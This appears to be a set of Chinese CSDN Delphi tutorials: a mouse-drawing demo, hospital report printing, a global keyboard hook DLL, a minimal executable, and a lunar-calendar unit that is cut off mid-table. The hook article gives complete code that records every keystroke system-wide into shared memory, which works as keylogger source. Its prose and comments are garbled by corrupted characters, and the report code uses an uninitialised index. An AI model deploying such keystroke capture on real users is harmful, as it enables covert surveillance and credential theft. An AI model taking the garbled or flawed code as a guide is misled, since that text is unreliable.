Tag:=0; //使用Form的Tag属性作标志位
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Tag:=1; //置位
Canvas.MoveTo(X,Y); //将Pen的位置移到当前
//取随机数
Randomize;
Canvas.Pen.Width := Random(30);//设置画笔的宽度
Canvas.Pen.Color :=RGB(Random(255),Random(255),Random(255));//设置画笔的颜色
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Tag=1 then
begin
Canvas.LineTo(x,y);//画线
end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Tag:=0; //标志位
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=27 then Close();//判断如果按下ESC键就退出程序
end;

end.


CSDN_文档中心_用delphi编写医院的复杂报表

用delphi编写医院的复杂报表

江苏省无锡市中医医院电脑房
袁波
---- 我院的信息管理系统采用delphi编程，由于各科要求不同，报表形式也多种多样，编写起来让人头痛。delphi运行在WINDOWS平台下，打印同DOS下完全不同，而Quick Report即难以控制又占用资源，对于一个稍复杂的、有特殊要求的报表，Quick Report无法实现。这里介绍几个在编程中遇到的比较典型的报表的实现方法。

---- 1、哪个单位的财务科都有几本厚厚的台帐，我院财务科提出打印药库的台帐，好脱掉手工帐，也算是办公现代化了，要求合情合理，院长也说应当如此。看着财务科提供的红绿相间的、统一印制的、行间距3毫米的台帐专用小卡片，我不由想到中国人节俭的美德。考虑到每个药品至少打印一张，而且表格线一个都不能少，加上中医院药品有二千多种，所以这个报表必须用激光打印机来打印（至于如何让院长同意购买激光打印机，则是另一回事，办公自动化哪能没有代价呢）。程序实现的思路基本上是把打印纸当做画布在上面画一个个小矩形，具体由以下几个过程实现：（设Form名为Ttzview)。

先在程序中定义二个类：
titlerecord=record
Currect:Trect;
Atitle:string;
end;
detailrecord=record
Arect:Trect;
alignment:word;
end;

---- 再建立以下四个过程；
---- RectDraw(Acanvas:Tcanvas;s:string;R:Trect;frame:boolean;position:word);

---- 这个过程就是画矩形用的，frame决定是否画线（这里当然要画啦！）；

---- printinitit(firsttop,firstleft:integer);

---- 这个过程是初始化用的，就是定义各个小矩形在纸上的位置；

---- printtitle(acanvas:Tcanvas);

---- 这个过程是打印表头的，因为表头的字总是要大一些；

---- printdetail(acanvas:Tcanvas;Qtz:Tdataset;acount:integer;firstpage:integer);

---- 这个过程才是打印具体内容的，一页打印40行，不够就换页，总之一页只能是一个药品；

---- printhj(acanvas:Tcanvas);

---- 一看就知道，这个过程就是打印合计的啦！

---- 只要建个Botton,顺序调用printinitit,printtitle,printdetail,printhj这四个过程就行了，

---- (调用格式：printtitle(printer.canvas);)

---- 对了，Qtz就是查询出来的台帐数据，如何生成的这里就不谈了。

---- 具体程序如下

---- 此程序在delphi1,delphi3版本WIN3.2,WIN95,WIN97,WIN98平台下运行通过，顺便提供台帐数据库的库结构

---- 2、非常复杂，无法取巧的报表

---- 我院肿瘤科需要打印病人的病案，这可是特色专科现代化建设的一部分，卫生局要来检查的，所以必须完成任务。每一个病案有100多个项目，若用Qreport，中间如果要加减一个项目（这事常有），几十个项目的调整排列会使人昏倒。我一下子建立100多个临时变量，在虚拟的画布上画啊画，运行在我的PII233，64M内存的机子上倒是顺顺当当的，不过换到肿瘤科的486,8M内存的机子上时（大家别笑），系统堆栈马上溢出，所以只好祭出指针大法（我的编程水平好象又有长进，窃喜），方法如下：

先建立titleprint类:
titleprint=^Titlerecord;
titlerecord=record
Currect:Trect;
Atitle:string[50];
end;
再建立过程printnow（Form的名称叫
zlk,printdot就是打印机的点数，一般针打是180);
procedure Tzlk.printnow(acanvas:Tcanvas);
var i,x,y,pc_count:integer;
myprint:array[0..200] of titleprint;
begin
firsttop:=round(int(0.5/2.54*printdot));
firstleft:=round(int(0.1/2.54*printdot));
rowheight:=round(int(0.7/2.54*printdot));
x:=0+firstleft;y:=round(int
(1.3/2.54*printdot))+firsttop;
pc_count:=0;
inc(pc_count); new(myprint[pc_count]);
myprint[pc_count]^.currect:=rect
(x+round(int(0.1/2.54*printdot))+firstleft,y,
x+round(int(3.0/2.54*printdot))+firstleft,
y+firsttop+round(int(0.5/2.54*printdot)));
myprint[pc_count]^.atitle:=Lname.
caption+DBname.text;
ACanvas.MoveTo(myprint[pc_count]^.
currect.left,
myprint[pc_count]^.currect.top-round
(rowheight/5));
{下面的四行还要重复100多次，基本差不多，
就不都写出来赚稿费了}
inc(pc_count); new(myprint[pc_count]);
myprint[pc_count]^.currect:=scalerect(
myprint[pc_count-1]^.currect,round(int
(2.5/2.54*printdot)),0);
myprint[pc_count]^.atitle:=Lxb.caption+Cxb.text;
ACanvas.LineTo(myprint[i]^.currect.right,
myprint[i]^.currect.top-round(rowheight/5));
.......

{打印}
printtitle(acanvas);
{这个函数就不提供了，表头不要也没关系}
for i:=1 to pc_count do
begin
RectDraw(Acanvas,myprint[i]^.atitle,
myprint[i]^.currect,false,
dt_left or dt_singleline or dt_vcenter);
end;
dispose(myprint[pc_count]);
{别忘了把指针占用的内存释放}
end;

---- 最后建个Botton，加个是否真的打印的判断，再调用这几个函数就行了。
---- (调用格式：printtitle(printer.canvas);)

---- 看了以上两个例子，是不是觉得WINDOWS下的打印其实很简单，就跟你手工画表一样，而且表格内容的位置是居中、居左、还是居右，全由打印内容的Alignment决定，打印格式由内容的Display Format决定，用不着自己去算，方便极了。


CSDN_文档中心_用DELPHI编制Windows95下的钩子函数

用DELPHI编制Windows95下的钩子函数
Windows消息管理机构提供了能使应用程序访问控制消息流μ
'c4所谓的钩子(HOOK)机制。钩子有多种，分别用于捕获某一特定类型或某一范围的消息。如：键盘消息，鼠标消息等。我们这里仅以键盘钩子的使用为例，讨论在DELPHI下怎样编写DLL程序和怎样在自己的程序中安装使用键盘钩子函数，并讨论了不同程序使用同一DLL文件时怎样共享数据。
一、 钩子过滤函数的编写说明
由于钩子过滤函数必须在独立的模块中，也就是说我们必须首先生成一个DLL框架，然后再在其中加入钩子函数代码以及其他相关函数代码。我们这里以键盘钩子过滤函数的编写为例来说明。具体步骤如下：
1、先生成一个DLL筐2架
2、编写自己的键盘钩子过滤函数
钩子过滤函数必须是回调函数，其函数的 4稳缦拢o
function KeyHookProc(
iCode:Integer;
wParam:WPARAM;
lParam:LPARAM ) : LRESULT; stdcall ;export ;
在生成的DLL框架中加入自己的键盘钩子处理函数处理键盘消息。
代码如下：…
if(iCode>=0) then begin
Result:=0; //初始化返回值
// 在这里加入自己的代码
end else
begin
Result:=CallNextHook(hOldKeyHook,iCode,wParam,lParam);
// hOldKeyHook是保存的原键盘过滤函数 5刂·
end;
3、 安装键盘钩子过滤函数
为安装一个钩子筥fd滤函数应调用SetWindowsHookEx函数（适用于Windows3.0的SetWindowsHook钩子安装函数现在已经废弃不用）。该函数的原形如下：
HHOOK SetWindowsHookEx(
int idHook,　　// 安装的筥b3子类型
HOOKPROC lpfn,　　// 钩子过滤籂f数地址
HINSTANCE hMod,　　 // 任务句柄
DWORD dwThreadId　　 // 钩子用于的目的
);
需要说明的是：蚠a8常应该调用MakeProcInstance函数以获取一个输出函数的前导码的入口地址，再将此地址作为SetWindowsHookEx的第二个参数lpfn。但由于Delphi提供了"灵巧调用(smart callback)"，使得MakeProcInstance可以省去，而直接将钩子过滤函数名用作入口地址。
这样当应用程序觃c3GetMessage或PeekMessage函数从消息队列中读消息或有按键消息(WM_KEYDOWN或WM_KEYUP)要处理时，系统就要调用钩子过滤函数KeyHookProc处理键盘消息。
4、 卸载钩子过滤函数。
当钩子函数不再需要时，应调用UnHookWindowsHookProc卸载安装的钩子以释放系统资源。
完整的程序清单如下ba
Library KEYHOOK;
uses Windows;
const BUFFER_SIZE=16*1024;
const HOOK_MEM_FILENAME='SAMPLE KEY_HOOK_MEM_FILE';
const HOOK_MUTEX_NAME ='SAMPLE KEY_HOOK_MUTEX_NAME';
type
TShared=record
Keys : array[0..BUFFER_SIZE] of Char;
KeyCount : Integer;
end;
PShared=^TShared;
var
MemFile,HookMutex : THandle;
hOldKeyHook : HHook;
ProcSaveExit : Pointer;
Shared : PShared;

//键盘钩子过滤函数
function KeyHookProc(iCode: Integer; wParam: WPARAM ; lParam: LPARAM):LRESULT
; stdcall; export;
const KeyPressMask = $80000000;
begin
if iCode < 0 then
Result := CallNextHookEx(hOldKeyHook, iCode, wParam, lParam)
else begin
if ((lParam and KeyPressMask)= 0) then // 键按下
begin
Shared^.Keys[Shared^.KeyCount]:=Char(wParam and $00ff);
Inc(Shared^.KeyCount);
if Shared^.KeyCount>=BUFFER_SIZE-1 then Shared^.KeyCount:=0;
end;
iCode:=-1;
Result := CallNextHookEx(hOldKeyHook, iCode, wParam, lParam);
end;
end;

// 设置钩子过滤函数
function EnableKeyHook : BOOL ; export;
begin
Shared^.KeyCount:=0; //初始化键盘指针
if hOldKeyHook=0 then begin
hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD,
KeyHookProc,
HInstance,
0);
end;
Result := (hOldKeyHook <> 0);
end;

//撤消钩子过滤函数
function DisableKeyHook: BOOL ; export;
begin
if hOldKeyHook<> 0 then
begin
UnHookWindowsHookEx(hOldKeyHook); // 解除 Keyboard Hook
hOldKeyHook:= 0;
Shared^.KeyCount:=0;
end;
Result := (hOldKeyHook = 0);
end;

//取得键盘缓冲区中击键的个数
function GetKeyCount :Integer ; export;
begin
Result:=Shared^.KeyCount;
end;

//取得键盘缓冲区的键
function GetKey(index:Integer) : Char ; export;
begin
Result:=Shared^.Keys[index];
end;

//清空键盘缓冲区
procedure ClearKeyString ; export;
begin
Shared^.KeyCount:=0;
end;

//DLL的退出处理过程
procedure KeyHookExit; far;
begin
if hOldKeyHook <> 0 then DisableKeyHook;
UnMapViewOfFile(Shared); // 释放内存映象文件
CloseHandle(MemFile); // 关闭映象文件
ExitProc := ProcSaveExit;
end;

exports // 定义输出函数
EnableKeyHook,
DisableKeyHook,
GetKeyCount,
ClearKeyString,
GetKey;

begin
// DLL 初始化部分
HookMutex:=CreateMutex(nil,True,HOOK_MUTEX_NAME);
// 通过建立内存映象文件以共享内存
MemFile:=OpenFileMapping(FILE_MAP_WRITE,False,
HOOK_MEM_FILENAME);
if MemFile=0 then
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,
SizeOf(TShared) ,HOOK_MEM_FILENAME);
Shared:=MapViewOfFile(MemFile,File_MAP_WRITE,0,0,0);
ReleaseMutex(HookMutex);
CloseHandle(HookMutex);
ProcSaveExit := ExitProc; // 保存DLL的ExitProc
ExitProc := @KeyHookExit; // 设置DLL新的ExitProc
end.
            // 源代码结束

二、 在自己的程序中使用编制好的键盘钩子过滤函数。
钩子函数编制好后，使用起来其实很简单：首先调用SetWindowsHookEx安装自己的钩子过滤函数，同时保存原先的钩子过滤函数地址。这时钩子函数就开始起作用了，它将按照你的要求处理键盘消息。程序运行完毕或不再需要监视键盘消息时，调用UnHookWindowsHookProc函数卸载所安装的钩子函数，同时恢复原来的钩子过滤函数地址。
下面就是使用在以上编制的钩子函数的例子：
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Panel1: TPanel;
bSetHook: TButton;
bCancelHook: TButton;
bReadKeys: TButton;
bClearKeys: TButton;
Panel2: TPanel;
procedure bSetHookClick(Sender: TObject);
procedure bCancelHookClick(Sender: TObject);
procedure bReadKeysClick(Sender: TObject);
procedure bClearKeysClick(Sender: TObject);
end;
var Form1: TForm1;

implementation
{$R *.DFM}
function EnableKeyHook : BOOL ; external 'KEYHOOK.DLL';
function DisableKeyHook : BOOL ; external 'KEYHOOK.DLL';
function GetKeyCount : Integer ; external 'KEYHOOK.DLL';
function GetKey(idx:Integer) : Char ; external 'KEYHOOK.DLL';
procedure ClearKeyString ; external 'KEYHOOK.DLL';

procedure TForm1.bSetHookClick(Sender: TObject); // 设置键盘钩 7ó
begin
EnableKeyHook;
bSetHook.Enabled :=False;
bCancelHook.Enabled:=True;
bReadKeys.Enabled :=True;
bClearKeys.Enabled :=True;
Panel2.Caption:=' 键盘钩子已经设置';
end;

procedure TForm1.bCancelHookClick(Sender: TObject); // 卸载键盘钩子
begin
DisableKeyHook;
bSetHook.Enabled :=True;
bCancelHook.Enabled:=False;
bReadKeys.Enabled :=False;
bClearKeys.Enabled :=False;
Panel2.Caption:=' 键盘钩子没有设置';
end;

procedure TForm1.bReadKeysClick(Sender: TObject); // 取得击键的历史记录
var i:Integer;
begin
Memo1.Lines.Clear; // 在Memo1中显示击键历史记录
for i:=0 to GetKeyCount-1 do
Memo1.Text:=Memo1.Text+GetKey(i);
end;

procedure TForm1.bClearKeysClick(Sender: TObject); // 清除击键历史记录
begin
Memo1.Clear;
ClearKeyString;
end;

end.
// 源代码结束

三、 Windows95下DLL中实现共享内存
    在上面的钩子函数所在的DLL文件中，需要使用共享内存，即，所有击键的记录存储在同一个数据段中。为什么要这样做呢？这是因为Windows95的DLL调用方法与Windows3.X的方法不同。每个进（线）程在登录某动态连接库时都会为该动态连接库传入一个新的实例句柄（即DLL数据段的句柄）。这使得DLL各个实例之间互不干扰，但是这对那些所有DLL实例共享一组变量带来一些困难。为了解决这个问题，我们在这儿通过建立内存映射文件的方法来解决。即使用Windows的OpenFileMapping、CreateFileMapping和
MapViewOfFile三个函数来实现。使用方法如下：
…
MemFile是THandle类型，Shared是指针类型，HOOK_MEM_FILENAME是一常量串
…
MemFile:=OpenFileMapping(FILE_MAP_WRITE,False,
HOOK_MEM_FILENAME); //打开内存映射文件
if MemFile=0 then //打开失败则衉c2建内存映射文件
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,
SizeOf(TShared) ,HOOK_MEM_FILENAME);
//映射文件到变量
Shared:=MapViewOfFile(MemFile,File_MAP_WRITE,0,0,0);

到此为止，你已经知道用Delphi编制钩子函数有多么容易。最后不得不提醒大家：钩子函数虽然功能比较强，但如果使用不当将会严重影响系统的效率，所以要尽量避免使用系统钩子。非要使用不可时也应该格外小心，应使之尽可能小地影响系统的运行。
[全文完]

文章作者： 王浩然
文章来源： 暂无
作者邮箱： 暂无
作者网站： 暂无


CSDN_文档中心_用Delphi产生一个最小的可执行程序

用Delphi产生一个最小的可执行程序

曾经在网上看到有人说Delphi能够产生大小只有16k的Win32应用程序，而我自己曾经编写过的这种可执行文件大小则是在17k左右，因而我一度猜想Delphi恐怕也只能将代码优化到这种程度了。最近由于测试的目的重新把这个程序写了一遍，才发现利用一些技巧，还能够将文件的大小进一步缩减到8.5k。这个程序也能够显示Delphi作为类似于Visual C++的、非RAD工具的另一个侧面。如果你对此感兴趣的话，请看我是如何做到这一点的。

用Delphi生成一个默认的项目，然后用工具栏上的Remove file from Project按钮，将唯一的窗体(Form1)从项目中删除。然后选择View->Project Source命令，打开项目文件，并编辑代码如下所示：

program MiniApp;

uses

Windows, Messages;

// {$R *.res}

const

szAppName : PChar = 'MiniApp';

function WndProc(AWnd:HWND; message:UINT; wp:WPARAM; lp:LPARAM):LRESULT;stdcall;

begin

Result := 0;

case message of

WM_DESTROY:

PostQuitMessage(0);

else

Result := DefWindowProc(AWnd, message, wp, lp);

end;

end;

var

wc : WNDCLASS;

HMainWnd : HWND;

AMsg : MSG;

begin

with wc do begin

style := CS_VREDRAW or CS_HREDRAW;

lpfnWndProc := @WndProc;

cbClsExtra := 0;

cbWndExtra := 0;

hIcon := LoadIcon(0, IDI_APPLICATION);

hCursor := LoadCursor(0, IDC_ARROW);

hbrBackground := GetSysColorBrush(COLOR_WINDOW);

hInstance := HInstance;

lpszMenuName := nil;

lpszClassName := szAppName;

end;

RegisterClass(wc);

HMainWnd := CreateWindow(szAppName,

szAppName,

WS_OVERLAPPEDWINDOW,

Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),

Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),

HWND_DESKTOP, 0,

HInstance, nil);

ShowWindow(HMainWnd, CmdShow);

UpdateWindow(HMainWnd);

while GetMessage(AMsg, 0, 0, 0) do begin

TranslateMessage(AMsg);

DispatchMessage(AMsg);

end;

end.

其实这些代码根本就是Win32 SDK中C语言例子程序的翻版，我想没有必要再对它们作什么解释了。需要提醒你注意的是：

1．Delphi程序没有像C程序那样的WinMain入口，程序的运行就从.DPR文件的begin开始，到与之匹配的end结束。而C程序中传递给WinMain的四个参数，在Delphi中则以全局变量的形式定义在System以及SysInit单元中，它们分别是HInstance、HPrevInst、CmdLine和CmdShow（HPrevInst已经没有意义）。

2．注意我把常量szAppName定义为PChar，而不是常用的String，因为在这么一个简单的程序中没有必要使用String的高级功能，这样可以节省不少空间（大约3-4k）。

3．我把{$R *.res}一句也注释起来了，这样可以从文件中剔除冗余的资源，从而节省大约1k左右的空间。

4．程序完成后，打开Project Options对话框，翻到Compiler页，将Runtime Errors和Debugging分类中的选项全部清除，这样也可以稍微减小最终文件的大小。

尽管还不能说8.5k一定就是最小的尺寸，不过我猜想这已经非常接近Delphi的极限了。在Visual C++中，很有意思的一点是所有可执行文件的大小都会对齐到4k的边界，所以在Visual C++中最小的.EXE和最小的.DLL大小都只能达到28k，除非使用一些非常特殊的隐藏编译开关。尽管Win32中的分页默认是4k，不过我实在想不通Visual C++把可执行文件的大小也对齐到4k究竟有什么意义？

另外，我手头还有一套非常非常古老的Turbo Pascal for Windows 1.5，它所编译出的最小的Windows可执行文件的大小——你肯定无法相信——只有1.75k！当然了，它毕竟只是个Win16程序而已。


CSDN_文档中心_用Delphi处理公历到农历的转换

用Delphi处理公历到农历的转换
boymaster

摘　要：公历到农历的转换
关键字：日历,农历,转换
类　别：Object Pascal
unit calfunc;

interface

uses SysUtils,Windows;

const
START_YEAR=1901;
END_YEAR=2050;

//返回iYear年iMonth月的天数 1年1月 --- 65535年12月
function MonthDays(iYear,iMonth:Word):Word;

//返回阴历iLunarYer年阴历iLunarMonth月的天数，如果iLunarMonth为闰月，
//高字为第二个iLunarMonth月的天数，否则高字为0 1901年1月---2050年12月
function LunarMonthDays(iLunarYear,iLunarMonth:Word):Longword;

//返回阴历iLunarYear年的总天数 1901年1月---2050年12月
function LunarYearDays(iLunarYear:Word):Word;

//返回阴历iLunarYear年的闰月月份，如没有返回0 1901年1月---2050年12月
function GetLeapMonth(iLunarYear:Word):Word;

//把iYear年格式化成天干记年法表示的字符串
procedure FormatLunarYear(iYear:Word;var pBuffer:string);overload;
function FormatLunarYear(iYear:Word):string;overload;

//把iMonth格式化成中文字符串
procedure FormatMonth(iMonth:Word;var pBuffer:string;bLunar:Boolean=True);overload;
function FormatMonth(iMonth:Word;bLunar:Boolean=True):string;overload;

//把iDay格式化成中文字符串
procedure FormatLunarDay(iDay:Word;var pBuffer:string);overload;
function FormatLunarDay(iDay:Word):string;overload;

//计算公历两个日期间相差的天数 1年1月1日 --- 65535年12月31日
function CalcDateDiff(iEndYear,iEndMonth,iEndDay:Word;iStartYear:Word=START_YEAR;iStartMonth:Word=1;iStartDay:Word=1):Longword;overload;
function CalcDateDiff(EndDate,StartDate:TDateTime):Longword;overload;

//计算公历iYear年iMonth月iDay日对应的阴历日期,返回对应的阴历节气 0-24
//1901年1月1日---2050年12月31日

function GetLunarHolDay(InDate:TDateTime):string;overload;
function GetLunarHolDay(iYear,iMonth,iDay:Word):string;overload;

//private function--------------------------------------

//计算从1901年1月1日过iSpanDays天后的阴历日期
procedure l_CalcLunarDate(var iYear,iMonth,iDay:Word;iSpanDays:Longword);

//计算公历iYear年iMonth月iDay日对应的节气 0-24，0表不是节气
function l_GetLunarHolDay(iYear,iMonth,iDay:Word):Word;

implementation

var
//数组gLunarDay存入阴历1901年到2100年每年中的月天数信息，
//阴历每月只能是29或30天，一年用12（或13）个二进制位表示，对应位为1表30天，否则为29天
gLunarMonthDay:array[0..149] of Word=(
//测试数据只有1901.1.1 --2050.12.31
$4ae0, $a570, $5268, $d260, $d950, $6aa8, $56a0, $9ad0, $4ae8, $4ae0, //1910
$a4d8, $a4d0, $d250, $d548, $b550, $56a0, $96d0, $95b0, $49b8, $49b0, //1920
$a4b0, $b258, $6a50, $6d40, $ada8, $2b60, $9570, $4978, $4970, $64b0, //1930
$d4a0, $ea50, $6d48, $5ad0, $2b60, $9370, $92e0, $c968, $c950, $d4a0, //1940
$da50, $b550, $56a0, $aad8, $25d0, $92d0, $c958, $a950, $b4a8, $6ca0, //1950
$b550, $55a8, $4da0, $a5b0, $52b8, $52b0, $a950, $e950, $6aa0, $ad50, //1960
$ab50, $4b60, $a570, $a570, $5260, $e930, $d950, $5aa8, $56a0, $96d0, //1970
$4ae8, $4ad0, $a4d0, $d268, $d250, $d528, $b540, $b6a0, $96d0, $95b0, //1980
$49b0, $a4b8, $a4b0, $b258, $6a50, $6d40, $ada0, $ab60, $9370, $4978, //1990
$4970, $64b0, $6a50, $ea50, $6b28, $5ac0, $ab60, $9368, $92e0, $c960, //2000
$d4a8, $d4a0, $da50, $5aa8, $56a0, $aad8, $25d0, $92d0, $c958, $a950, //2010
$b4a0, $b550, $b550, $55a8, $4ba0, $a5b0, $52b8, $52b0, $a930, $74a8, //2020
$6aa0, $ad50, $4da8, $4b60, $9570, $a4e0, $d260, $e930, $d530, $5aa0, //2030
$6b50, $96d0, $4ae8, $4ad0, $a4d0, $d258, $d250, $d520, $daa0, $b5a0, //2040
$56d0, $4ad8, $49b0, $a4b8, $a4b0, $aa50, $b528, $6d20, $ada0, $55b0); //2050

//数组gLanarMonth存放阴历1901年到2050年闰月的月份，如没有则为0，每字节存两年
gLunarMonth:array[0..74] of Byte=(
$00, $50, $04, $00, $20, //1910
$60, $05, $00, $20, $70, //1920
$05, $00, $40, $02, $06, //1930
$00, $50, $03, $07, $00, //1940
$60, $04, $00, $20, $70, //1950
$05, $00, $30, $80, $06, //1960
$00, $40, $03, $07, $00, //1970
$50, $04, $08, $00, $60, //1980
$04, $0a, $00, $60, $05, //1990
$00, $30, $80, $05, $00, //2000
$40, $02, $07, $00, $50, //2010
$04, $09, $00, $60, $04, //2020
$00, $20, $60, $05, $00, //2030
$30, $b0, $06, $00, $50, //2040
$02, $07, $00, $50, $03); //2050

//数组gLanarHoliDay存放每年的二十四节气对应的阳历日期
//每年的二十四节气对应的阳历日期几乎固定，平均分布于十二个月中
// 1月 2月 3月 4月 5月 6月
//小寒 大寒 立春 雨水 惊蛰 春分 清明 谷雨 立夏 小满 芒种 夏至
// 7月 8月 9月 10月 11月 12月
//小暑 大暑 立秋 处暑 白露 秋分 寒露 霜降 立冬 小雪 大雪 冬至
{*********************************************************************************
节气无任何确定规律,所以只好存表,要节省空间,所以....
**********************************************************************************}
//数据格式说明:
//如1901年的节气为
// 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
// 6, 21, 4, 19, 6, 21, 5, 21, 6,22, 6,22, 8, 23, 8, 24, 8, 24, 8, 24, 8, 23, 8, 22
// 9, 6, 11,4, 9, 6, 10,6, 9,7, 9,7, 7, 8, 7, 9, 7, 9, 7, 9, 7, 8, 7, 15
//上面第一行数据为每月节气对应日期,15减去每月第一个节气,每月第二个节气减去15得第二行
// 这样每月两个节气对应数据都小于16,每月用一个字节存放,高位存放第一个节气数据,低位存放
//第二个节气的数据,可得下表
gLunarHolDay:array[0..1799] of Byte=(
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1901
$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, //1902
$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, //1903
$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, //1904
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1905
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1906
$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, //1907
$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1908
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1909
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1910
$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, //1911
$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1912
$95, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1913
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, //1914
$96, $A5, $97, $96, $97, $87, $79, $79, $69, $69, $78, $78, //1915
$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1916
$95, $B4, $96, $A6, $96, $97, $78, $79, $78, $69, $78, $87, //1917
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $77, //1918
$96, $A5, $97, $96, $97, $87, $79, $79, $69, $69, $78, $78, //1919
$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1920
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $87, //1921
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $77, //1922
$96, $A4, $96, $96, $97, $87, $79, $79, $69, $69, $78, $78, //1923
$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1924
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $87, //1925
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1926
$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, //1927
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1928
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1929
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1930
$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, //1931
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1932
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1933
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1934
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1935
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1936
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1937
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1938
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1939
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1940
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1941
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1942
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1943
$96, $A5, $96, $A5, $A6, $96, $88, $78, $78, $78, $87, $87, //1944
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1945
$95, $B4, $96, $A6, $97, $97, $78, $79, $78, $69, $78, $77, //1946
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, //1947
$96, $A5, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1948
$A5, $B4, $96, $A5, $96, $97, $88, $79, $78, $79, $77, $87, //1949
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $77, //1950
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, //1951
$96, $A5, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1952
$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1953
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $68, $78, $87, //1954
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1955
$96, $A5, $A5, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1956
$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1957
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1958
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1959
$96, $A4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1960
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1961
$96, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1962
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1963
$96, $A4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1964
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1965
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1966
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1967
$96, $A4, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1968
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1969
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1970
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1971
$96, $A4, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1972
$A5, $B5, $96, $A5, $A6, $96, $88, $78, $78, $78, $87, $87, //1973
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1974
$96, $B4, $96, $A6, $97, $97, $78, $79, $78, $69, $78, $77, //1975
